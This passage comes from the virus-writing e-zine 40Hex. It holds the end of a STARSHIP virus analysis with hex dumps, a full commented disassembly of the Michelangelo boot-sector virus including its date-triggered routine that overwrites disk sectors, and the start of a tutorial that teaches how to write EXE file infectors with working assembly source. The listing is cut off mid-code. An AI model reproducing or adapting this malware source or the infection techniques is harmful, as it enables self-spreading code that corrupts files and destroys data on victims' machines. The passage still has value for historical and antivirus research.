  2966.    10%    0C2 - 1C7      Interrupt 21h handler
  2967.    11%    1C8 - 312      Active part & check for DOS ready
  2968.     2%    313 - 340      Random number generator (RND)
  2969.     7%    341 - 3F7      Interrupts 20h, 21h, 27h handlers
  2970.  +--- encrypted --------------------------------------------+
  2971.  | 25%    3F8 - 692      Infector of EXE/COM file includes: |
  2972.  |     9%      3F8 - 4DD      input logic                   |
  2973.  |    10%      4DE - 5E9      create infected code          |
  2974.  |     6%      5EA - 692      output logic                  |
  2975.  |  3%    693 - 6E5      Tables                             |
  2976.  |  3%    6E6 - 738      Startup code for EXE/COM           |
  2977.  | 12%    739 - 88F      Infect disk                        |
  2978.  |  2%    891 - 8BF      Interrupt 01h handler (trace)      |
  2979.  | 11%    8C0 - 9D7      PseudoDOS boot and int B0h handler |
  2980.  +----------------------------------------------------------+
  2981.     4%    9D8 - A4E      Remover of code from videomemory
  2982.     2%    A4F - A8F      Buffers (CS, IP, SS, SP, etc.)
  2983.  
  2984.  
  2985. =======================================================
  2986.  
  2987. Table 2. Minimal and maximal sizes of infected
  2988. executable files.
  2989.        +-------------+------------------------+
  2990.        |  File type  |    Minimal   Maximal   |
  2991.        |             |    size      size      |
  2992.        +-------------+------------------------+
  2993.        |             |                        |
  2994.        |   .COM      |    1917      62202     |
  2995.        |             |                        |
  2996.        |   .EXE      |    1917      512 K     |
  2997.        +-------------+------------------------+
  2998.  
  2999. ==============================================================================
  3000.  
  3001. Figure 1. Memory block header (M-block) and memory dump of STARSHIP
  3002. virus located in core RAM. Virus uses segment 18FB, and its memory
  3003. block is at 18F2:0).
  3004.  
  3005. ------------------- M-memory block containing virus --------------------------
  3006.  
  3007. 18F2:0000  4D 08 00 B0 00 0A 00 A3-8E 0B A1 0C 00 A3 90 0B   M...............
  3008.  
  3009.  
  3010. ------- PSP of file, which termination caused the virus installation ---------
  3011.  
  3012. 18F3:0000  CD 20 A3 19 00 9A F0 FE-1D F0 2F 01 0B 18 3C 01   . ......../...<.
  3013. 18F3:0010  0B 18 56 05 0B 18 0B 18-01 01 01 00 02 FF FF FF   ..V.............
  3014. 18F3:0020  FF FF FF FF FF FF FF FF-FF FF FF FF EE 18 E0 FF   ................
  3015. 18F3:0030  00 90 14 00 18 00 F3 18-FF FF FF FF 00 00 00 00   ................
  3016. 18F3:0040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  3017. 18F3:0050  CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20   .!...........
  3018. 18F3:0060  20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20           .....
  3019. 18F3:0070  20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00           ........
  3020.  
  3021.  
  3022. ------------------ Here follows the code of virus (CS=18FB) -----------------
  3023.  
  3024. 18FB:0000  E9 01 10 4E 0A 00 10 00-00 00 00 00 00 42 3A 5C   ...N.........B:\
  3025. 18FB:0010  54 4D 50 5C 44 52 4F 5A-46 49 4C 41 2E 43 4F 4D   TMP\DROZFILA.COM
  3026. 18FB:0020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  3027. 18FB:0030  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  3028. 18FB:0040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 FF   ................
  3029. 18FB:0050  E9 93 06 3E 53 54 41 52-53 48 49 50 5F 31 3C 80   ...>STARSHIP_1<.
  3030. 18FB:0060  FA 80 75 41 83 F9 01 75-3F 0A F6 75 38 80 FC 02   ..uA...u?..u8...
  3031. 18FB:0070  75 29 1E 50 E8 13 03 58-9C FF 1E B8 04 1F 72 18   u).P...X......r.
  3032. 18FB:0080  50 56 72 16 B8 01 00 BE-BE 01 26 89 40 02 B0 01   PVr.......&.@...
  3033. 18FB:0090  26 88 40 01 5E 58 F8 FB-EB 7C 3C 80 FC 03 74 F6   &.@.^X...|<...t.
  3034. 18FB:00A0  80 FC 05 74 F1 E9 3E 01-80 FE 08 75 F8 51 02 C8   ...t..>....u.Q..
  3035. 18FB:00B0  80 F9 CC 59 72 EF 80 FD-FE 72 EA 80 FC 02 74 D6   ...Yr....r....t.
  3036. 18FB:00C0  75 D9 FF F1 E8 9C 2E 80-3E 4F 00 00 75 18 50 1E   u.......>O..u.P.
  3037. 18FB:00D0  8C C8 2D 09 00 E8 A9 02-A1 3C 00 48 E8 A2 02 2E   ..-......<.H....
  3038. 18FB:00E0  F6 16 4F 00 1F 58 80 FC-3C 75 31 2E 83 3E 0B 00   ..O..X..<u1..>..
  3039. 18FB:00F0  00 75 6E E8 6E 00 75 69-9D E8 CC 00 72 18 50 51   .un.n.ui....r.PQ
  3040.  
  3041.  
  3042. ==================================================================
  3043.  
  3044. Figure 2. Dump of pseudoDOS boot sector
  3045. (thin line denotes random garbage).
  3046.  
  3047.    0000  EB 34 90 4D 53 BF 05 00-CD 13 73 09 32 E4 CD 13   .4.MS.....s.2...
  3048.    0010  4F 75 F5 CD 18 C3 B9 01-00 E8 E9 FF 80 3E 00 7E   Ou...........>.~
  3049.    0020  EB 75 10 A0 02 7E BB 00-7E E8 97 00 0A E4 74 03   .u...~..~.....t.
  3050.    0030  80 EF 02 06 53 CB FA 33-C0 8E D0 BC 00 7C 8B F4   ....S..3.....|..
  3051.    0040  8E C0 8E D8 FB FC BF 00-06 B9 00 01 F3 A5 EA 53   ...............S
  3052.    0050  06 00 00 B9 37 00 BE D6-06 BF C0 02 F3 A4 BF B0   ....7...........
  3053.    0060  04 B9 08 00 F3 A4 1E C5-06 4C 00 AB 8C D8 AB 1F   .........L......
  3054.    0070  FE 06 FC 7D A1 FC 7D B9-CC FE BB 00 7C BA 80 08   ...}..}.....|...
  3055.    0080  0A C0 74 08 50 B8 01 03-E8 7A FF 58 41 89 0E DB   ..t.P....z.XA...
  3056.    0090  02 88 36 DF 02 06 BB 00-BB 8E C3 88 26 E7 02 CD   ..6.........&...
  3057.    00A0  B0 26 A2 63 01 26 8C 1E-C2 00 07 FA C7 06 4C 00   .&.c.&........L.
  3058.    00B0  B0 04 8C 1E 4E 00 FB BB-00 7C B8 06 02 BA 80 00   ....N....|......
  3059.    00C0  E9 53 FF 53 51 B9 0A 0A-32 E4 26 30 07 26 02 27   .S.SQ...2.&0.&.'
  3060.    00D0  43 E2 F7 59 5B C3 C4 02-00 00 50 06 53 B8 00 BB   C..Y[.....P.S...
  3061.    00E0  8E C0 BB 50 00 26 80 3F-E9 74 1E 52 51 B8 05 02   ...P.&.?.t.RQ...
  3062.    00F0  B9 00 00 BA 80 00 9C 2E-FF 1E B8 04 B0 00 B9 0A   ................
  3063.    0100  0A 26 30 07 43 E2 FA 59-5A 5B 07 58 CF CD B0 9A   .&0.C..YZ[.X....
  3064.                        +--------------------------------+
  3065.    0110  5F 00 00 BB EA|1E 0E 1F-8E C0 33 FF 50 FC 32 C0|  _.........3.P.2.
  3066.   +--------------------+                                |
  3067.   |0120  B9 50 00 F3 AA E8 F6 F7-8B F7 B9 0A 0A F3 A4 E8|  .P..............
  3068.   |0130  98 F9 58 FA A3 B5 04 A3-C1 04 B8 90 90 A3 B0 04|  ..X.............
  3069.   |0140  A3 BC 04 C7 06 BF 04 C5-00 B8 EB 05 A3 C8 04 B8|  ................
  3070.   |0150  EB F4 A3 D4 04 BF CA 04-BE DB 04 06 1E 07 A5 A5|  ................
  3071.   |0160  A4 FB A3 D9 04 A3 C8 02-C7 06 E0 02 CD 13 C7 06|  ................
  3072.   |0170  E2 02 EB 0D FE 06 D9 02-CD B0 B9 37 00 BF C0 02|  ...........7....
  3073.   |0180  1E 07 8C D8 F3 AA 07 1F-C3 B4 62 E8 7A F7 C3 90|  ..........b.z...
  3074.   |0190  90 90 90 90 90 90 90 90-90 90 A4 4B 4C EA A6 8C|  ...........KL...
  3075.   |01A0  BE 23 54 F4 BC E8 B8 6B-5B F1 B2 EC B2 81 5E F6|  .#T....k[.....^.
  3076.   |01B0  88 D0 8C BC 64 CC 8E CC-86 69 6A C2 84 C8 80 6F|  ....d....ij....o
  3077.   |01C0  FA 2B C0 8E D0 8E C0 8E-D8 B8 00 7C 8B E0 FB 8B|  .+.........|....
  3078.   |01D0  F0 BF 00 7E FC B9 00 01-F3 A5 E9 00 02 B9 10 00|  ...~............
  3079.   |01E0  8B 36 85 7E F6 04 80 75-08 83 EE 10 E2 F6 EB 37|  .6.~...u.......7
  3080.   |                                   +-----------------+
  3081.   |01F0  90 BF BE 07 57 B9 08 00-F3 A5|74 91 05 AD 55 AA   ....W.....t...U.
  3082.   +-----------------------------------+
  3083.  
  3084. ==================================================================
  3085. Figure 3. Dispatcher code located at absolute address 0:4B0.
  3086.  
  3087.  
  3088.  
  3089.         a) virus code located in videomemory
  3090.  
  3091. 0000:04B0  CD B0              INT  B0        <== int 13h
  3092. 0000:04B2  9A 5F 00 00 BB     CALL BB00:005F
  3093. 0000:04B7  EA 3D A3 00 F0     JMP  F000:A33D
  3094.  
  3095. 0000:04BC  CD B0              INT  B0        <== int 21h
  3096. 0000:04BE  9A D6 03 00 BB     CALL BB00:03D6
  3097. 0000:04C3  EA 60 14 73 02     JMP  0273:1460
  3098.  
  3099. 0000:04C8  CD B0              INT  B0        <== int 20h
  3100. 0000:04CA  9A DD 03 00 BB     CALL BB00:03DD
  3101. 0000:04CF  EA 3F 14 73 02     JMP  0273:143F
  3102.  
  3103. 0000:04D4  CD B0              INT  B0        <== int 27h
  3104. 0000:04D6  9A 93 03 00 BB     CALL BB00:0393
  3105. 0000:04DB  EA 66 63 73 02     JMP  0273:6366
  3106.  
  3107.  
  3108.  
  3109.         b) after removing of code from videomemory
  3110.            (segment CS=18FB is where virus resides)
  3111.  
  3112.  
  3113. 0000:04B0  90                 NOP            <== int 13h
  3114. 0000:04B1  90                 NOP
  3115. 0000:04B2  9A 5F 00 6D 19     CALL 18FB:005F
  3116. 0000:04B7  EA 3D A3 00 F0     JMP  F000:A33D
  3117.  
  3118. 0000:04BC  90                 NOP            <== int 21h
  3119. 0000:04BD  90                 NOP
  3120. 0000:04BE  9A C5 00 6D 19     CALL 18FB:00C5
  3121. 0000:04C3  EA 3D A3 00 F0     JMP  0273:1460
  3122.  
  3123. 0000:04C8  EB 05              JMP  4CF       <== int 20h
  3124. 0000:04CA  EA 3F 14 73 02     JMP  0273:143F
  3125. 0000:04CF  EA 66 63 73 02     JMP  0273:6366
  3126. 0000:04D4  EB F4              JMP  4CA       <== int 27h
  3127.  
  3128. ===============================================================
  3129. All  corrections and  remarks will be greatly appreciated. Send
  3130. information directly via E-mail address (MIG@politon.msk.su) or
  3131. in  comp.virus group of USENET (I am monitoring it permanently).
  3132.  
  3133. F   .rs mbyt-  tF   .rs mbyt-  tF   .  (What is this? -Ed.)
  3134. 40Hex Number 8 Volume 2 Issue 4                                       File 006
  3135.  
  3136. ; This is a disassembly of the much-hyped michelangelo virus.
  3137. ; As you can see, it is a derivative of the Stoned virus.  The
  3138. ; junk bytes at the end of the file are probably throwbacks to
  3139. ; the Stoned virus.  In any case, it is yet another boot sector
  3140. ; and partition table infector.
  3141.  
  3142. michelangelo    segment byte public
  3143.                 assume  cs:michelangelo, ds:michelangelo
  3144. ; Disassembly by Dark Angel of PHALCON/SKISM
  3145.                 org     0
  3146.  
  3147.                 jmp     entervirus
  3148. highmemjmp      db      0F5h, 00h, 80h, 9Fh
  3149. maxhead         db      2                       ; used by damagestuff
  3150. firstsector     dw      3
  3151. oldint13h       dd      0C8000256h
  3152.  
  3153. int13h:
  3154.                 push    ds
  3155.                 push    ax
  3156.                 or      dl, dl                  ; default drive?
  3157.                 jnz     exitint13h              ; exit if not
  3158.                 xor     ax, ax
  3159.                 mov     ds, ax
  3160.                 test    byte ptr ds:[43fh], 1   ; disk 0 on?
  3161.                 jnz     exitint13h              ; if not spinning, exit
  3162.                 pop     ax
  3163.                 pop     ds
  3164.                 pushf
  3165.                 call    dword ptr cs:[oldint13h]; first call old int 13h
  3166.                 pushf
  3167.                 call    infectdisk              ; then infect
  3168.                 popf
  3169.                 retf    2
  3170. exitint13h:     pop     ax
  3171.                 pop     ds
  3172.                 jmp     dword ptr cs:[oldint13h]
  3173.  
  3174. infectdisk:
  3175.                 push    ax
  3176.                 push    bx
  3177.                 push    cx
  3178.                 push    dx
  3179.                 push    ds
  3180.                 push    es
  3181.                 push    si
  3182.                 push    di
  3183.                 push    cs
  3184.                 pop     ds
  3185.                 push    cs
  3186.                 pop     es
  3187.                 mov     si, 4
  3188. readbootblock:
  3189.                 mov     ax,201h                 ; Read boot block to
  3190.                 mov     bx,200h                 ; after virus
  3191.         mov    cx,1
  3192.                 xor     dx,dx
  3193.                 pushf
  3194.                 call    oldint13h
  3195.                 jnc     checkinfect             ; continue if no error
  3196.                 xor     ax,ax
  3197.                 pushf
  3198.                 call    oldint13h               ; Reset disk
  3199.                 dec     si                      ; loop back
  3200.                 jnz     readbootblock
  3201.                 jmp     short quitinfect        ; exit if too many failures
  3202. checkinfect:
  3203.                 xor     si,si
  3204.                 cld
  3205.                 lodsw
  3206.                 cmp     ax,[bx]                 ; check if already infected
  3207.                 jne     infectitnow
  3208.                 lodsw
  3209.                 cmp     ax,[bx+2]               ; check again
  3210.                 je      quitinfect
  3211. infectitnow:
  3212.                 mov     ax,301h                 ; Write old boot block
  3213.                 mov     dh,1                    ; to head 1
  3214.                 mov     cl,3                    ; sector 3
  3215.                 cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
  3216.                 je      is360Kdisk
  3217.                 mov     cl,0Eh
  3218. is360Kdisk:
  3219.                 mov     firstsector,cx
  3220.                 pushf
  3221.                 call    oldint13h
  3222.                 jc      quitinfect              ; exit on error
  3223.                 mov     si,200h+offset partitioninfo
  3224.                 mov     di,offset partitioninfo
  3225.                 mov     cx,21h                  ; Copy partition table
  3226.                 cld
  3227.                 rep     movsw
  3228.                 mov     ax,301h                 ; Write virus to sector 1
  3229.                 xor     bx,bx
  3230.         mov    cx,1
  3231.                 xor     dx,dx
  3232.                 pushf
  3233.                 call    oldint13h
  3234. quitinfect:
  3235.         pop    di
  3236.         pop    si
  3237.         pop    es
  3238.         pop    ds
  3239.         pop    dx
  3240.         pop    cx
  3241.         pop    bx
  3242.         pop    ax
  3243.         retn
  3244. entervirus:
  3245.                 xor     ax,ax
  3246.         mov    ds,ax
  3247.                 cli
  3248.         mov    ss,ax
  3249.                 mov     ax,7C00h                ; Set stack to just below
  3250.                 mov     sp,ax                   ; virus load point
  3251.                 sti
  3252.                 push    ds                      ; save 0:7C00h on stack for
  3253.                 push    ax                      ; later retf
  3254.                 mov     ax,ds:[13h*4]
  3255.                 mov     word ptr ds:[7C00h+offset oldint13h],ax
  3256.                 mov     ax,ds:[13h*4+2]
  3257.                 mov     word ptr ds:[7C00h+offset oldint13h+2],ax
  3258.                 mov     ax,ds:[413h]            ; memory size in K
  3259.                 dec     ax                      ; 1024 K
  3260.         dec    ax
  3261.                 mov     ds:[413h],ax            ; move new value in
  3262.                 mov     cl,6
  3263.                 shl     ax,cl                   ; ax = paragraphs of memory
  3264.                 mov     es,ax                   ; next line sets seg of jmp
  3265.                 mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
  3266.                 mov     ax,offset int13h
  3267.                 mov     ds:[13h*4],ax
  3268.                 mov     ds:[13h*4+2],es
  3269.                 mov     cx,offset partitioninfo
  3270.                 mov     si,7C00h
  3271.                 xor     di,di
  3272.                 cld
  3273.                 rep     movsb                   ; copy to high memory
  3274.                                                 ; and transfer control there
  3275.                 jmp     dword ptr cs:[7C00h+offset highmemjmp]
  3276. ; destination of highmem jmp
  3277.                 xor     ax,ax
  3278.         mov    es,ax
  3279.                 int     13h                     ; reset disk
  3280.                 push    cs
  3281.         pop    ds
  3282.         mov    ax,201h
  3283.                 mov     bx,7C00h
  3284.                 mov     cx,firstsector
  3285.                 cmp     cx,7                    ; hard disk infection?
  3286.                 jne     floppyboot              ; if not, do floppies
  3287.                 mov     dx,80h                  ; Read old partition table of
  3288.                 int     13h                     ; first hard disk to 0:7C00h
  3289.                 jmp     short exitvirus
  3290. floppyboot:
  3291.                 mov     cx,firstsector          ; read old boot block
  3292.                 mov     dx,100h                 ; to 0:7C00h
  3293.                 int     13h
  3294.                 jc      exitvirus
  3295.         push    cs
  3296.         pop    es
  3297.                 mov     ax,201h                 ; read boot block
  3298.                 mov     bx,200h                 ; of first hard disk
  3299.         mov    cx,1
  3300.         mov    dx,80h
  3301.                 int     13h
  3302.                 jc      exitvirus
  3303.                 xor     si,si
  3304.                 cld
  3305.                 lodsw
  3306.                 cmp     ax,[bx]                 ; is it infected?
  3307.                 jne     infectharddisk          ; if not, infect HD
  3308.                 lodsw                           ; check infection
  3309.         cmp    ax,[bx+2]
  3310.                 jne     infectharddisk
  3311. exitvirus:
  3312.                 xor     cx,cx                   ; Real time clock get date
  3313.                 mov     ah,4                    ; dx = mon/day
  3314.                 int     1Ah
  3315.                 cmp     dx,306h                 ; March 6th
  3316.                 je      damagestuff
  3317.                 retf                            ; return control to original
  3318.                                                 ; boot block @ 0:7C00h
  3319. damagestuff:
  3320.                 xor     dx,dx
  3321.         mov    cx,1
  3322. smashanothersector:
  3323.         mov    ax,309h
  3324.                 mov     si,firstsector
  3325.         cmp    si,3
  3326.                 je      smashit
  3327.         mov    al,0Eh
  3328.         cmp    si,0Eh
  3329.                 je      smashit
  3330.                 mov     dl,80h                  ; first hard disk
  3331.                 mov     maxhead,4
  3332.         mov    al,11h
  3333. smashit:
  3334.                 mov     bx,5000h                ; random memory area
  3335.                 mov     es,bx                   ; at 5000h:5000h
  3336.                 int     13h                     ; Write al sectors to drive dl
  3337.                 jnc     skiponerror             ; skip on error
  3338.                 xor     ah,ah                   ; Reset disk drive dl
  3339.                 int     13h
  3340. skiponerror:
  3341.                 inc     dh                      ; next head
  3342.                 cmp     dh,maxhead              ; 2 if floppy, 4 if HD
  3343.                 jb      smashanothersector
  3344.                 xor     dh,dh                   ; go to next head/cylinder
  3345.         inc    ch
  3346.                 jmp     short smashanothersector
  3347. infectharddisk:
  3348.                 mov     cx,7                    ; Write partition table to
  3349.                 mov     firstsector,cx          ; sector 7
  3350.         mov    ax,301h
  3351.         mov    dx,80h
  3352.                 int     13h
  3353.                 jc      exitvirus
  3354.                 mov     si,200h+offset partitioninfo ; Copy partition
  3355.                 mov     di,offset partitioninfo      ; table information
  3356.         mov    cx,21h
  3357.                 rep     movsw
  3358.                 mov     ax,301h                 ; Write to sector 8
  3359.                 xor     bx,bx                   ; Copy virus to sector 1
  3360.         inc    cl
  3361.                 int     13h
  3362. ;*              jmp     short 01E0h
  3363.                 db      0EBh, 32h               ; ?This should crash?
  3364. ; The following bytes are meaningless.
  3365. garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
  3366. partitioninfo:  db      42h dup (0)
  3367. michelangelo    ends
  3368.                 end
  3369.  
  3370. 40Hex Number 8 Volume 2 Issue 4                                       File 007
  3371.  
  3372.                     ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
  3373.                     An Introduction to Nonoverwriting Virii
  3374.                             Part II: EXE Infectors
  3375.                                  By Dark Angel
  3376.                     ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
  3377.   
  3378.        In the  last issue  of 40Hex,  I presented  theory and  code  for  the
  3379.   nonoverwriting  COM   infector,  the   simplest  of  all  parasitic  virii.
  3380.   Hopefully, having  learned COM  infections cold,  you are now ready for EXE
  3381.   infections.  There is a grey veil covering the technique of EXE infections,
  3382.   as the majority of virii are COM-only.
  3383.   
  3384.        EXE infections  are, in  some  respects,  simpler  than  COM  viruses.
  3385.   However, to  understand the infection, you must understand the structure of
  3386.   EXE files  (naturally).   EXE files  are structured into segments which are
  3387.   loaded consecutively  atop one  another.  Thus, all an EXE infector must do
  3388.   is create  its own  segment in  the EXE  file and  alter  the  entry  point
  3389.   appropriately.   Therefore, EXE  infections do  not require  restoration of
  3390.   bytes of  code, but  rather involve  the manipulation  of the  header which
  3391.   appears in  the beginning every EXE file and the appending of viral code to
  3392.   the infected file.  The format of the header follows:
  3393.   
  3394.    Offset Description
  3395.      00   ID word, either 'MZ' or 'ZM'
  3396.      02   Number of bytes in the last (512 byte) page in the image
  3397.      04   Total number of 512 byte pages in the file
  3398.      06   Number of entries in the segment table
  3399.      08   Size of the header in (16 byte) paragraphs
  3400.      0A   Minimum memory required in paragraphs
  3401.      0C   Maximum memory requested in paragraphs
  3402.      0E   Initial offset in paragraphs to stack segment from header
  3403.      10   Initial offset in bytes of stack pointer from stack segment
  3404.      12   Negative checksum (ignored)
  3405.      14   Initial offset in bytes of instruction pointer from code segment
  3406.      16   Initial offset in paragraphs of code segment from header
  3407.      18   Offset of relocation table from start of file
  3408.      1A   Overlay number (ignored)
  3409.   
  3410.   The ID  word is  generally 'ZM'  (in the  Intel little-endian format).  Few
  3411.   files start  with the  alternate form,  'MZ' (once  again in  Intel little-
  3412.   endian format).   To  save space, a check for the alternate form of the EXE
  3413.   ID in  the virus  may be omitted, although a few files may be corrupted due
  3414.   to this omission.
  3415.   
  3416.   The words  at offsets  2 and  4 are related.  The word at offset 4 contains
  3417.   the filesize  in pages.   A  page is  a 512 byte chunk of memory, just as a
  3418.   word is  a two  byte chunk of memory.  This number is rounded up, so a file
  3419.   of length  514 bytes  would contain a 2 at offset 4 in the EXE header.  The
  3420.   word at offset 2 is the image length modulo 512.  The image length does not
  3421.   include the  header length.   This  is one of the bizarre quirks of the EXE
  3422.   header.   Since the header length is usually a multiple of 512 anyway, this
  3423.   quirk usually  does not  matter.  If the word at offset 2 is equal to four,
  3424.   then it  is generally  ignored (heck,  it's never really used anyway) since
  3425.   pre-1.10 versions  of the  Microsoft linker had a bug which caused the word
  3426.   to always  be equal  to four.  If you are bold, the virus can set this word
  3427.   to 4.   However, keep in mind that this was a bug of the linker and not all
  3428.   command interpreters may recognise this quirk.
  3429.   
  3430.   The minimum memory required by the program (offset A) can be ignored by the
  3431.   virus, as  the maximum  memory is generally allocated to the program by the
  3432.   operating system.   However,  once again,  ignoring this area of the header
  3433.   MAY cause  an unsucessful  infection.   Simply adding  the  virus  size  in
  3434.   paragraphs to this value can nullify the problem.
  3435.   
  3436.   The words  representing the  initial stack segment and pointer are reversed
  3437.   (not in  little-endian format).   In  other words,  an LES to this location
  3438.   will yield  the stack  pointer in  ES and  the  stack  segment  in  another
  3439.   register.   The initial  SS:SP is  calculated  with  the  base  address  of
  3440.   0000:0000 being at the end of the header.
  3441.   
  3442.   Similarly, the  initial CS:IP  (in little-endian format) is calculated with
  3443.   the base  address of  0000:0000 at  the end of the header.  For example, if
  3444.   the program  entry point  appears directly after the header, then the CS:IP
  3445.   would be 0000:0000.  When the program is loaded, the PSP+10 is added to the
  3446.   segment value (the extra 10 accounts for the 100h bytes of the PSP).
  3447.   
  3448.   All the  relevant portions  of the  EXE header  have been covered.  So what
  3449.   should be  done to  write a  nonoverwriting EXE infector?  First, the virus
  3450.   must be appended to the end of the file.  Second, the initial CS:IP must be
  3451.   saved and  subsequently changed  in the  header.   Third, the initial SS:SP
  3452.   should also  be saved  and changed.   This  is to avoid any possible memory
  3453.   conflicts from  the stack  overwriting viral  code.   Fourth, the file size
  3454.   area of  the header should be modified to correctly reflect the new size of
  3455.   the file.   Fifth,  any additional  safety modifications such as increasing
  3456.   the minimum  memory allocation  should be made.  Last, the header should be
  3457.   written to the infected file.
  3458.   
  3459.   There are  several good areas for ID bytes in the EXE header.  The first is
  3460.   in the stack pointer field.  Since it should be changed anyway, changing it
  3461.   to a  predictable number  would add nothing to the code length.  Make sure,
  3462.   however, to  make the stack pointer high enough to prevent code overwrites.
  3463.   Another common  area for ID bytes is in the negative checksum field.  Since
  3464.   it is  an unused  field, altering  it won't  affect the  execution  of  any
  3465.   programs.
  3466.   
  3467.   One further item should be mentioned before the code for the EXE infector.
  3468.   It is important to remember that EXE files are loaded differently than COM
  3469.   files.  Although a PSP is still built, the initial CS does NOT point to it.
  3470.   Instead, it points to wherever the entry point happens to be.  DS and ES
  3471.   point to the PSP, and therefore do NOT point to the entry point (your virus
  3472.   code).  It is important to restore DS and ES to their proper values before
  3473.   returning control to the EXE.
  3474.   
  3475.   ----cut here---------------------------------------------------------------
  3476.   
  3477.   .model tiny                             ; Handy TASM directive
  3478.   .code                                   ; Virus code segment
  3479.             org 100h                      ; COM file starting IP
  3480.   ; Cheesy EXE infector
  3481.   ; Written by Dark Angel of PHALCON/SKISM
  3482.   ; For 40Hex Number 8 Volume 2 Issue 4
  3483.   id = 'DA'                               ; ID word for EXE infections
  3484.   
  3485.   startvirus:                             ; virus code starts here
  3486.             call next                     ; calculate delta offset
  3487.   next:     pop  bp                       ; bp = IP next
  3488.             sub  bp,offset next           ; bp = delta offset
  3489.   
  3490.             push ds
  3491.             push es
  3492.             push cs                       ; DS = CS
  3493.             pop  ds
  3494.             push cs                       ; ES = CS
  3495.             pop  es
  3496.             lea  si,[bp+jmpsave2]
  3497.             lea  di,[bp+jmpsave]
  3498.             movsw
  3499.             movsw
  3500.             movsw
  3501.             movsw
  3502.   
  3503.             mov  ah,1Ah                   ; Set new DTA
  3504.             lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  3505.             int  21h
  3506.   
  3507.             lea  dx,[bp+exe_mask]
  3508.             mov  ah,4eh                   ; find first file
  3509.             mov  cx,7                     ; any attribute
  3510.   findfirstnext:
  3511.             int  21h                      ; DS:DX points to mask
  3512.             jc   done_infections          ; No mo files found
  3513.   
  3514.             mov  al,0h                    ; Open read only
  3515.             call open
  3516.   
  3517.             mov  ah,3fh                   ; Read file to buffer
  3518.             lea  dx,[bp+buffer]           ; @ DS:DX
  3519.             mov  cx,1Ah                   ; 1Ah bytes
  3520.             int  21h
  3521.   
  3522.             mov  ah,3eh                   ; Close file
  3523.             int  21h
  3524.   
  3525.   checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  3526.             jnz  infect_exe
  3527.   find_next:
  3528.             mov  ah,4fh                   ; find next file
  3529.             jmp  short findfirstnext
  3530.   done_infections:
  3531.             mov  ah,1ah                   ; restore DTA to default
  3532.             mov  dx,80h                   ; DTA in PSP
  3533.             pop  es
  3534.             pop  ds                       ; DS->PSP
  3535.             int  21h
  3536.             mov  ax,es                    ; AX = PSP segment
  3537.             add  ax,10h                   ; Adjust for PSP
  3538.             add  word ptr cs:[si+jmpsave+2],ax
  3539.             add  ax,word ptr cs:[si+stacksave+2]
  3540.             cli                           ; Clear intrpts for stack manip.
  3541.             mov  sp,word ptr cs:[si+stacksave]
  3542.             mov  ss,ax
  3543.             sti
  3544.             db   0eah                     ; jmp ssss:oooo
  3545.   jmpsave             dd ?                ; Original CS:IP
  3546.   stacksave           dd ?                ; Original SS:SP
  3547.   jmpsave2            dd 0fff00000h       ; Needed for carrier file
  3548.   stacksave2          dd ?
  3549.   
  3550.   creator             db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
  3551.   virusname           db '[DemoEXE] for 40Hex',0
  3552.   
  3553.   infect_exe:
  3554.             les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  3555.             mov  word ptr [bp+jmpsave2], ax
  3556.             mov  word ptr [bp+jmpsave2+2], es
  3557.   
  3558.             les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  3559.             mov  word ptr [bp+stacksave2], es
  3560.             mov  word ptr [bp+stacksave2+2], ax
  3561.   
  3562.             mov  ax, word ptr [bp+buffer + 8] ; Get header size
  3563.             mov  cl, 4                        ; convert to bytes
  3564.             shl  ax, cl
  3565.             xchg ax, bx
  3566.   
  3567.             les  ax, [bp+offset newDTA+26]; Get file size
  3568.             mov  dx, es                   ; to DX:AX
  3569.             push ax
  3570.             push dx
  3571.   
  3572.             sub  ax, bx                   ; Subtract header size from
  3573.             sbb  dx, 0                    ; file size
  3574.   
  3575.             mov  cx, 10h                  ; Convert to segment:offset
  3576.             div  cx                       ; form
  3577.   
  3578.             mov  word ptr [bp+buffer+14h], dx ; New entry point
  3579.             mov  word ptr [bp+buffer+16h], ax
  3580.   
  3581.             mov  word ptr [bp+buffer+0Eh], ax ; and stack
  3582.             mov  word ptr [bp+buffer+10h], id
  3583.   
  3584.             pop  dx                       ; get file length
  3585.             pop  ax
  3586.   
  3587.             add  ax, heap-startvirus      ; add virus size
  3588.             adc  dx, 0
  3589.   
  3590.             mov  cl, 9                    ; 2**9 = 512
  3591.             push ax
  3592.             shr  ax, cl
  3593.             ror  dx, cl
  3594.             stc
  3595.             adc  dx, ax                   ; filesize in pages
  3596.             pop  ax
  3597.             and  ah, 1                    ; mod 512
  3598.   
  3599.             mov  word ptr [bp+buffer+4], dx ; new file size
  3600.             mov  word ptr [bp+buffer+2], ax
  3601.   
  3602.             push cs                       ; restore ES
  3603.             pop  es
  3604.   
  3605.             mov  cx, 1ah
  3606.   finishinfection:
  3607.             push cx                       ; Save # bytes to write
  3608.             xor  cx,cx                    ; Clear attributes
  3609.             call attributes               ; Set file attributes
  3610.   
  3611.             mov  al,2
  3612.             call open
  3613.   
  3614.             mov  ah,40h                   ; Write to file
  3615.             lea  dx,[bp+buffer]           ; Write from buffer
  3616.             pop  cx                       ; cx bytes
  3617.             int  21h
  3618.   
  3619.             mov  ax,4202h                 ; Move file pointer
  3620.             xor  cx,cx                    ; to end of file
  3621.             cwd                           ; xor dx,dx
  3622.             int  21h
  3623.   
  3624.             mov  ah,40h                   ; Concatenate virus
  3625.             lea  dx,[bp+startvirus]
  3626.             mov  cx,heap-startvirus       ; # bytes to write
  3627.             int  21h
  3628.   
  3629.             mov  ax,5701h                 ; Restore creation date/time
  3630.             mov  cx,word ptr [bp+newDTA+16h] ; time
